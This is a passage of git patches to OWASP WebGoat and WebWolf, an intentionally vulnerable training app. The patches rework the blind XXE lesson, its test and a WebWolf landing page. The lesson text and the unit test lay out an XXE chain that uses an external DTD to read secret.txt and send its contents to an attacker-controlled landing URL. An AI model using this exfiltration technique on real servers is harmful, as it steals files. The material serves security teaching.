ModelAndView(); - modelAndView.addObject("webwolfUrl", uri.getScheme() + "://" + uri.getHost() + ":8081"); + modelAndView.addObject("webwolfUrl", landingPageUrl); modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName())); modelAndView.setViewName("webwolfPasswordReset"); diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Landing_page.adoc b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Landing_page.adoc index a2bb549cf..c08b167bf 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Landing_page.adoc +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Landing_page.adoc @@ -1,6 +1,6 @@ == Landing page -This page will show all the requests made to '/' or '/challenge'. This means +This page will show all the requests made to '/landing/**'. This means you can use WebWolf as your landing page for harvesting cookies etc which is helpful when you perform a XSS lesson. diff --git a/webgoat-lessons/xxe/pom.xml b/webgoat-lessons/xxe/pom.xml index c1e89bd06..4caf1b9ea 100644 --- a/webgoat-lessons/xxe/pom.xml +++ b/webgoat-lessons/xxe/pom.xml @@ -15,5 +15,13 @@ commons-lang 2.6 + + + com.github.tomakehurst + wiremock + 2.8.0 + test + + \ No newline at end of file diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java index f8792b06c..0f8fcbdc9 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java @@ -1,17 +1,13 @@ package org.owasp.webgoat.plugin; -import com.beust.jcommander.internal.Lists; -import com.google.common.base.Joiner; import lombok.SneakyThrows; +import org.apache.commons.io.FileUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; -import org.springframework.core.io.ClassPathResource; import org.springframework.http.MediaType; -import org.springframework.util.FileCopyUtils; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; @@ -19,10 +15,8 @@ import org.springframework.web.bind.annotation.ResponseBody; import javax.annotation.PostConstruct; import java.io.File; -import java.io.FileOutputStream; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; + +import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic; /** * ************************************************************************************************ @@ -56,46 +50,47 @@ import java.util.List; @AssignmentPath("xxe/blind") public class BlindSendFileAssignment extends AssignmentEndpoint { + static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; @Value("${webgoat.user.directory}") private String webGoatHomeDirectory; @Autowired private Comments comments; - @Autowired - private WebSession webSession; @PostConstruct @SneakyThrows - public void copyFile() { - ClassPathResource classPathResource = new ClassPathResource("secret.txt"); + public void createSecretFileWithRandomContents() { File targetDirectory = new File(webGoatHomeDirectory, "/XXE"); if (!targetDirectory.exists()) { targetDirectory.mkdir(); } - FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "secret.txt"))); + FileUtils.write(new File(targetDirectory, "secret.txt"), CONTENTS); } @RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public AttackResult addComment(@RequestBody String commentStr) throws Exception { - String error = "Parsing successful contents not send to attacker"; + //Solution is posted as a separate comment + if (commentStr.contains(CONTENTS)) { + return trackProgress(success().build()); + } + try { Comment comment = comments.parseXml(commentStr); comments.addComment(comment, false); } catch (Exception e) { - error = e.toString(); - } - - File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt"); - List lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList(); - boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent(); - if (solved) { - logFile.delete(); - return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build()); - } else { - return trackProgress(failed().output(error).build()); + return trackProgress(failed().output(e.toString()).build()); } + return trackProgress(failed().build()); } +/** + + +%remote; +]> + test&send; +**/ /** * Solution: * @@ -104,14 +99,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint { *
      *     
      *     
-     *     ">
+     *     ">
      *      %all;
      * 
* * This will be reduced to: * *
-     *     
+     *     
      * 
* * Wire it all up in the xml send to the server: @@ -119,7 +114,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint { *
      *  
      *  
+     *  
      *  %remote;
      *   ]>
      *  
diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc
index 0d7e110e4..c8114bc1c 100644
--- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc
+++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc
@@ -1,39 +1,30 @@
+
 == Blind XXE
 
 In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
 Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
-Let's start with an example, in this case we reference a external DTD which we control on our own server.
+Let's start with an example, in this case we reference an external DTD which we control on our own server.
 
-Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.*
-
-[source]
-----
-curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
-
-will result in:
-
-GET curl/7.45.0 HelloWorld
-----
-
-at the server side.
+As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
+use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
 
 How do we use this endpoint to verify whether we can perform XXE?
 
-In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
+We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
 
 [source]
 ----
 
-
+
 ----
 
-Now submit the form and change the xml to:
+Now submit the form change the xml using to:
 
 [source]
 ----
 
 
+
 %remote;
 ]>
 
@@ -41,16 +32,24 @@ Now submit the form and change the xml to:
 
 ----
 
-Now if we check our server log we will see:
+Now in WebWolf browse to 'Incoming requests' and you will see:
 
 [source]
 ----
-GET Java/1.8.0_101 HelloWorld
+{
+  "method" : "GET",
+  "path" : "/ping",
+  "headers" : {
+    "request" : {
+      "user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
+    },
+  },
+  "parameters" : {
+    "test" : [ "HelloWorld" ],
+  },
+  "timeTaken" : "1"
+}
 ----
 
 So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
 we are basically able to reach the same effect as we did in the beginning with the curl command.
-
-[NOTE]
-In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
-of course be a host fully under the attackers control.
\ No newline at end of file
diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc
index 005df5198..e7adfae9b 100644
--- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc
+++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc
@@ -1,10 +1,23 @@
 == Blind XXE assignment
 
 In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
-which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server.
-For Linux: `/home/USER/.webgoat/XXE/secret.txt`, for Windows this would be `c:/Users/USER/.webgoat/XXE/secret.txt`
-If you use the Docker based WebGoat environment this file is located here: `/root/.webgoat/XXE/secret.txt`
+which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
+DTD.
 
-Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]` (NOTE: this endpoint is under your full control)
 
-You can login to the Docker container as follows: `docker exec -i -t <> /bin/bash`
\ No newline at end of file
+|===
+|OS |Location
+
+|Linux
+|`/home/USER/.webgoat/XXE/secret.txt`
+
+|Windows
+|`c:/Users/USER/.webgoat/XXE/secret.txt`
+
+|Docker
+|`/home/webgoat/.webgoat/XXE/secret.txt`
+|===
+
+Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
+(NOTE: this endpoint is under your full control)
+Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
\ No newline at end of file
diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
index 9f31bf8eb..7d00a692d 100644
--- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
+++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
@@ -1,8 +1,11 @@
 package org.owasp.webgoat.plugin;
 
-import com.google.common.io.Files;
+import com.github.tomakehurst.wiremock.client.WireMock;
+import com.github.tomakehurst.wiremock.junit.WireMockRule;
+import com.github.tomakehurst.wiremock.verification.LoggedRequest;
 import org.hamcrest.CoreMatchers;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.owasp.webgoat.plugins.LessonTest;
@@ -14,7 +17,9 @@ import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 import org.springframework.test.web.servlet.setup.MockMvcBuilders;
 
 import java.io.File;
+import java.util.List;
 
+import static com.github.tomakehurst.wiremock.client.WireMock.*;
 import static org.assertj.core.api.Assertions.assertThat;
 import static org.mockito.Mockito.when;
 import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
@@ -32,13 +37,14 @@ public class BlindSendFileAssignmentTest extends LessonTest {
     @Value("${webgoat.user.directory}")
     private String webGoatHomeDirectory;
 
+    @Rule
+    public WireMockRule webwolfServer = new WireMockRule(8081);
+
     @Before
     public void setup() throws Exception {
         XXE xxe = new XXE();
         when(webSession.getCurrentLesson()).thenReturn(xxe);
         this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
-        File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
-        if (logFile.exists()) logFile.delete();
         when(webSession.getUserName()).thenReturn("unit-test");
     }
 
@@ -65,26 +71,39 @@ public class BlindSendFileAssignmentTest extends LessonTest {
 
     @Test
     public void solve() throws Exception {
-        File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
+        File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
         String dtd = "\n" +
-                "\n" +
-                "\">\n" +
+                "\n" +
+                "\">\n" +
                 "%all;";
-        Files.write(dtd.getBytes(), file);
-        String xml = "\n" +
-                "\n" +
-                "%remote;\n" +
-                "]>\n" +
-                "\n" +
-                "  test&send;\n" +
-                "";
+        webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
+                .willReturn(aResponse()
+                        .withStatus(200)
+                        .withBody(dtd)));
+        webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
+        String xml = "" +
+                "" +
+                "%remote;" +
+                "]>" +
+                "test&send;";
+
+        //Call with XXE injection
         mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
                 .content(xml))
                 .andDo(MockMvcResultHandlers.print())
                 .andExpect(status().isOk())
-                .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
-                .andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
+                .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
+
+        List requests = findAll(getRequestedFor(urlMatching("/landing.*")));
+        assertThat(requests.size()).isEqualTo(1);
+        String text = requests.get(0).getQueryParams().get("text").firstValue();
+
+        //Call with retrieved text
+        mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
+                .content("" + text + ""))
+                .andExpect(status().isOk())
+                .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
     }
 
 }
\ No newline at end of file
diff --git a/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java b/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java
index 2ff8120b2..313688836 100644
--- a/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java
+++ b/webwolf/src/main/java/org/owasp/webwolf/WebWolf.java
@@ -3,6 +3,7 @@ package org.owasp.webwolf;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webwolf.requests.WebWolfTraceRepository;
+import org.owasp.webwolf.user.UserRepository;
 import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
 import org.springframework.boot.SpringApplication;
 import org.springframework.boot.actuate.trace.TraceRepository;
@@ -25,8 +26,8 @@ import javax.jms.ConnectionFactory;
 public class WebWolf extends SpringBootServletInitializer {
 
     @Bean
-    public TraceRepository traceRepository(WebGoatUserToCookieRepository repository) {
-        return new WebWolfTraceRepository(repository);
+    public TraceRepository traceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
+        return new WebWolfTraceRepository(repository, userRepository);
     }
 
     @Override
diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java b/webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java
new file mode 100644
index 000000000..e24fb40c9
--- /dev/null
+++ b/webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java
@@ -0,0 +1,24 @@
+package org.owasp.webwolf.requests;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.http.HttpStatus;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.ResponseStatus;
+
+import javax.servlet.http.HttpServletRequest;
+
+@Controller
+@Slf4j
+@RequestMapping("/landing/**")
+public class LandingPage {
+
+    @RequestMapping(method = { RequestMethod.POST, RequestMethod.GET, RequestMethod.DELETE, RequestMethod.PATCH, RequestMethod.PUT})
+    @ResponseStatus(HttpStatus.OK)
+    public void ok(HttpServletRequest request) {
+      log.trace("Incoming request for: {}", request.getRequestURL());
+    }
+
+}
diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
index 22c8e6d61..e63bbd9f5 100644
--- a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
+++ b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java
@@ -6,6 +6,7 @@ import com.google.common.cache.LoadingCache;
 import com.google.common.collect.Lists;
 import com.google.common.collect.Maps;
 import lombok.extern.slf4j.Slf4j;
+import org.owasp.webwolf.user.UserRepository;
 import org.owasp.webwolf.user.WebGoatUser;
 import org.owasp.webwolf.user.WebGoatUserCookie;
 import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
@@ -18,6 +19,7 @@ import java.net.HttpCookie;
 import java.util.*;
 import java.util.concurrent.ConcurrentLinkedDeque;
 
+import static java.util.Optional.empty;
 import static java.util.Optional.of;
 
 /**
@@ -38,9 +40,11 @@ public class WebWolfTraceRepository implements TraceRepository {
                 }
             });
     private final WebGoatUserToCookieRepository repository;
+    private final UserRepository userRepository;
 
-    public WebWolfTraceRepository(WebGoatUserToCookieRepository repository) {
+    public WebWolfTraceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
         this.repository = repository;
+        this.userRepository = userRepository;
     }
 
     @Override
@@ -58,18 +62,27 @@ public class WebWolfTraceRepository implements TraceRepository {
     @Override
     public void add(Map map) {
         Optional host = getFromHeaders("host", map);
-        Optional referer = getFromHeaders("referer", map);
-        if (host.isPresent() && referer.orElse("").contains("WebGoat")) {
+        String path = (String) map.getOrDefault("path", "");
+        if (host.isPresent() && path.contains("/landing/")) {
             Optional cookie = getFromHeaders("cookie", map);
-            cookie.ifPresent(c -> {
-                Optional user = findUserBasedOnCookie(c);
-                user.ifPresent(u -> {
-                    ConcurrentLinkedDeque traces = this.cookieTraces.getUnchecked(u);
-                    traces.addFirst(new Trace(new Date(), map));
-                    cookieTraces.put(u, traces);
-                });
-
+            Optional user = cookie.isPresent() ? findUserBasedOnCookie(cookie.get()) : getLoggedInUser();
+            user.ifPresent(u -> {
+                ConcurrentLinkedDeque traces = this.cookieTraces.getUnchecked(u);
+                traces.addFirst(new Trace(new Date(), map));
+                cookieTraces.put(u, traces);
             });
+            //No user found based on cookie and logged in user, so add the trace to all users
+            //In case of XXE no cookie will be send we cannot retrieve who is logged in.
+            //Standalone this is ok, in a challenge you need to make sure the solution or secret the users need to
+            //fetch is unique
+            if (!user.isPresent()) {
+                List users = this.userRepository.findAll();
+                users.forEach(u -> {
+                    ConcurrentLinkedDeque traces = this.cookieTraces.getUnchecked(u.getUsername());
+                    traces.addFirst(new Trace(new Date(), map));
+                    cookieTraces.put(u.getUsername(), traces);
+                });
+            }
         }
     }
 
@@ -80,13 +93,16 @@ public class WebWolfTraceRepository implements TraceRepository {
         Optional userToCookie = repository.findByCookie(cookie.getValue());
         Optional user = userToCookie.map(u -> u.getUsername());
 
-        if (!user.isPresent()) {
-            //User is maybe logged in to WebWolf use this user
-            Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
-            if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
-                WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
-                user = of(wg.getUsername());
-            }
+        return user;
+    }
+
+    private Optional getLoggedInUser() {
+        Optional user = empty();
+        //User is maybe logged in to WebWolf use this user
+        Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
+        if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
+            WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
+            user = of(wg.getUsername());
         }
         return user;
     }
diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties
index 89bdc44a0..9d1dc899b 100644
--- a/webwolf/src/main/resources/application.properties
+++ b/webwolf/src/main/resources/application.properties
@@ -1,6 +1,6 @@
 server.error.include-stacktrace=always
 server.error.path=/error.html
-server.session.timeout=600
+server.session.timeout=6000
 #server.contextPath=/WebWolf
 server.port=8081
 server.session.cookie.name = WEBWOLFSESSION

From 14b188597ad805949ad32ff54ea76ecb6184b150 Mon Sep 17 00:00:00 2001
From: Nanne Baars 
Date: Sat, 7 Oct 2017 19:27:53 +0200
Subject: [PATCH 5/7] Maven build generates too much output for Travis CI

---
 .travis.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.travis.yml b/.travis.yml
index 6a7c00b22..48e5aa3f6 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -4,7 +4,7 @@ jdk:
 install: "/bin/true"
 script:
   - mvn clean install
-  - if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install; else mvn clean install; fi
+  - if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install -q; else mvn clean install -q; fi
 cache:
   directories:
   - $HOME/.m2

From 6cb526aa43ccad746a381eeee72053f4118fa05d Mon Sep 17 00:00:00 2001
From: Nanne Baars 
Date: Sun, 8 Oct 2017 01:58:03 +0200
Subject: [PATCH 6/7] Maven build generates too much output for Travis CI

---
 .travis.yml                                                  | 2 +-
 webgoat-container/src/test/resources/log4j-silent.properties | 1 -
 webgoat-container/src/test/resources/logback-test.xml        | 1 +
 3 files changed, 2 insertions(+), 2 deletions(-)
 delete mode 100644 webgoat-container/src/test/resources/log4j-silent.properties
 create mode 100644 webgoat-container/src/test/resources/logback-test.xml

diff --git a/.travis.yml b/.travis.yml
index 48e5aa3f6..cbab13409 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -4,7 +4,7 @@ jdk:
 install: "/bin/true"
 script:
   - mvn clean install
-  - if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install -q; else mvn clean install -q; fi
+  - if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install -q -Dlogging.config=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/src/test/resources/logback-test.xml ; else mvn clean install -q -Dlogging.config=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/src/test/resources/logback-test.xml ; fi
 cache:
   directories:
   - $HOME/.m2
diff --git a/webgoat-container/src/test/resources/log4j-silent.properties b/webgoat-container/src/test/resources/log4j-silent.properties
deleted file mode 100644
index 5a25ce19b..000000000
--- a/webgoat-container/src/test/resources/log4j-silent.properties
+++ /dev/null
@@ -1 +0,0 @@
-log4j.rootLogger=INFO
diff --git a/webgoat-container/src/test/resources/logback-test.xml b/webgoat-container/src/test/resources/logback-test.xml
new file mode 100644
index 000000000..adfa02c68
--- /dev/null
+++ b/webgoat-container/src/test/resources/logback-test.xml
@@ -0,0 +1 @@
+
\ No newline at end of file

From 5033c3661a5a42012cf7c3cdf5404b9b5bda96e3 Mon Sep 17 00:00:00 2001
From: Nanne Baars 
Date: Sun, 8 Oct 2017 02:07:22 +0200
Subject: [PATCH 7/7] Cleaning up test case logging

---
 pom.xml                                           |  6 +-----
 .../db/changelog/db.changelog-master.xml          | 15 ---------------
 .../BypassRestrictionsFrontendValidationTest.java |  4 ----
 .../plugin/challenge2/ShopEndpointTest.java       |  2 --
 .../plugin/challenge4/VotesEndpointTest.java      |  2 --
 .../webgoat/plugin/DOMCrossSiteScriptingTest.java |  7 +++----
 .../plugin/HttpBasicsInterceptRequestTest.java    |  5 ++---
 .../plugin/MissingFunctionACUsersTest.java        |  9 ---------
 .../plugin/MissingFunctionYourHashTest.java       |  4 ++--
 .../introduction/SqlInjectionLesson5aTest.java    |  9 ++++-----
 .../introduction/SqlInjectionLesson6aTest.java    | 10 +++++-----
 .../introduction/SqlInjectionLesson6bTest.java    |  4 ++--
 .../mitigation/SqlInjectionLesson12aTest.java     | 14 +++++++-------
 .../plugin/VulnerableComponentsLessonTest.java    |  2 +-
 .../plugin/BlindSendFileAssignmentTest.java       |  7 +++----
 15 files changed, 30 insertions(+), 70 deletions(-)
 delete mode 100644 webgoat-container/src/main/resources/db/changelog/db.changelog-master.xml

diff --git a/pom.xml b/pom.xml
index 1ff00fd25..6cef65075 100644
--- a/pom.xml
+++ b/pom.xml
@@ -20,7 +20,7 @@
     
         org.springframework.boot
         spring-boot-starter-parent
-        1.5.3.RELEASE
+        1.5.5.RELEASE
     
 
     
@@ -130,7 +130,6 @@
         1.3.1
         2.4
         3.4
-        1.2
         4.0.0
         2.2.5
         2.2.4
@@ -146,7 +145,6 @@
         1.2
         1.3.1
         4.12
-        1.2.17
         1.5.4
         3.3
         2.19
@@ -160,8 +158,6 @@
         2.11.7
         2.1.20
         2.48.2
-        1.7.12
-        1.7.12
         3.2.4.RELEASE
         1.1.2
         3.0.5
diff --git a/webgoat-container/src/main/resources/db/changelog/db.changelog-master.xml b/webgoat-container/src/main/resources/db/changelog/db.changelog-master.xml
deleted file mode 100644
index e2f25133e..000000000
--- a/webgoat-container/src/main/resources/db/changelog/db.changelog-master.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-
-        
-            
-            
-            
-        
-        
-    
-
diff --git a/webgoat-lessons/bypass-restrictions/src/test/java/org/owasp/webgoat/plugin/BypassRestrictionsFrontendValidationTest.java b/webgoat-lessons/bypass-restrictions/src/test/java/org/owasp/webgoat/plugin/BypassRestrictionsFrontendValidationTest.java
index 8fb0657fa..34bb4dd54 100644
--- a/webgoat-lessons/bypass-restrictions/src/test/java/org/owasp/webgoat/plugin/BypassRestrictionsFrontendValidationTest.java
+++ b/webgoat-lessons/bypass-restrictions/src/test/java/org/owasp/webgoat/plugin/BypassRestrictionsFrontendValidationTest.java
@@ -6,7 +6,6 @@ import org.junit.runner.RunWith;
 import org.owasp.webgoat.plugins.LessonTest;
 import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
 import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
-import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 import org.springframework.test.web.servlet.setup.MockMvcBuilders;
 
 import static org.hamcrest.Matchers.is;
@@ -38,7 +37,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
                 .param("field6", "90201 1111")
                 .param("field7", "301-604-4882")
                 .param("error", "2"))
-                .andDo(MockMvcResultHandlers.print())
                 .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
     }
 
@@ -53,7 +51,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
                 .param("field6", "90201 1111AA")
                 .param("field7", "301-604-4882$$")
                 .param("error", "0"))
-                .andDo(MockMvcResultHandlers.print())
                 .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
     }
 
@@ -68,7 +65,6 @@ public class BypassRestrictionsFrontendValidationTest extends LessonTest {
                 .param("field6", "90201 1111AA")
                 .param("field7", "301-604-4882AA")
                 .param("error", "0"))
-                .andDo(MockMvcResultHandlers.print())
                 .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
     }
 
diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java b/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java
index 87710a6b7..e50e2aa8f 100644
--- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java
+++ b/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java
@@ -7,7 +7,6 @@ import org.junit.runner.RunWith;
 import org.mockito.runners.MockitoJUnitRunner;
 import org.springframework.test.web.servlet.MockMvc;
 import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
-import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 
 import static org.hamcrest.Matchers.is;
 import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE;
@@ -39,7 +38,6 @@ public class ShopEndpointTest {
     @Test
     public void getCoupon() throws Exception {
         mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/webgoat"))
-                .andDo(MockMvcResultHandlers.print())
                 .andExpect(jsonPath("$.code", CoreMatchers.is("webgoat")))
                 .andExpect(jsonPath("$.discount", CoreMatchers.is(25)));
     }
diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge4/VotesEndpointTest.java b/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge4/VotesEndpointTest.java
index b27519506..322cf8873 100644
--- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge4/VotesEndpointTest.java
+++ b/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge4/VotesEndpointTest.java
@@ -9,7 +9,6 @@ import org.owasp.webgoat.plugin.Flag;
 import org.springframework.test.web.servlet.MockMvc;
 import org.springframework.test.web.servlet.MvcResult;
 import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
-import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 
 import javax.servlet.http.Cookie;
 
@@ -97,7 +96,6 @@ public class VotesEndpointTest {
                 .cookie(mvcResult.getResponse().getCookie("access_token")));
         mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
                 .cookie(mvcResult.getResponse().getCookie("access_token")))
-                .andDo(MockMvcResultHandlers.print())
                 .andExpect(jsonPath("$..[?(@.title == 'Get it for free')].numberOfVotes", CoreMatchers.hasItem(20001)));
     }
 
diff --git a/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/DOMCrossSiteScriptingTest.java b/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/DOMCrossSiteScriptingTest.java
index 8c948b85f..dc41484ab 100644
--- a/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/DOMCrossSiteScriptingTest.java
+++ b/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/DOMCrossSiteScriptingTest.java
@@ -34,12 +34,11 @@ import org.owasp.webgoat.assignments.AssignmentEndpointTest;
 import org.owasp.webgoat.session.UserSessionData;
 import org.springframework.test.web.servlet.MockMvc;
 import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
-import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
 
+import static org.mockito.Mockito.when;
 import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
 import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
 import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
-import static org.mockito.Mockito.when;
 
 
 @RunWith(MockitoJUnitRunner.class)
@@ -64,7 +63,7 @@ public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
                 .header("webgoat-requested-by","dom-xss-vuln")
                 .param("param1", "42")
                 .param("param2", "24"))
-                .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
